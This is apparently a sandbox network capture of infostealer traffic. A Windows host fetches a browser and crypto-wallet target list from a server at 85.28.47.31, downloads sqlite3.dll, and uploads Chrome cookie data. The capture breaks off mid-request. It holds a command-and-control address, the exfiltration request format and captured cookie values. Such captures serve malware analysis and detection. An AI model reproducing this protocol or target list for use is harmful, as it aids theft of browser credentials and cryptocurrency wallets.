Jul 27, 2024 09:24:57.698770046 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 27, 2024 09:24:57.698793888 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 27, 2024 09:24:57.700294971 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"plugins------KEGCBFCBFBKFHIECAFCF--
Jul 27, 2024 09:24:57.886239052 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 27, 2024 09:24:57.886262894 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 27, 2024 09:24:57.886279106 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 27, 2024 09:24:57.886293888 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 27, 2024 09:24:57.886308908 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 27, 2024 09:24:57.886337042 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Jul 27, 2024 09:24:57.887959003 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEG Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="message"fplugins------HJJJDAEGIDHCBFHJJJEG--
Jul 27, 2024 09:24:58.088303089 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 27, 2024 09:24:58.104371071 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEG Host: 85.28.47.31 Content-Length: 7495 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 09:24:58.104422092 CEST	7495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 Data Ascii: ------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 27, 2024 09:24:59.446110010 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:24:59.725820065 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:24:59.912026882 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 27, 2024 09:24:59.912044048 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 27, 2024 09:24:59.912055016 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 27, 2024 09:24:59.912065983 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jul 27, 2024 09:25:01.115072012 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJKFBGIIJJKFIJDBG Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------IIDHJKFBGIIJJKFIJDBG--
Jul 27, 2024 09:25:01.947463036 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:25:02.029143095 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGD Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="file"------FHCGCFHDHIIIDGCAAEGD--
Jul 27, 2024 09:25:02.733539104 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:25:03.314045906 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEH Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 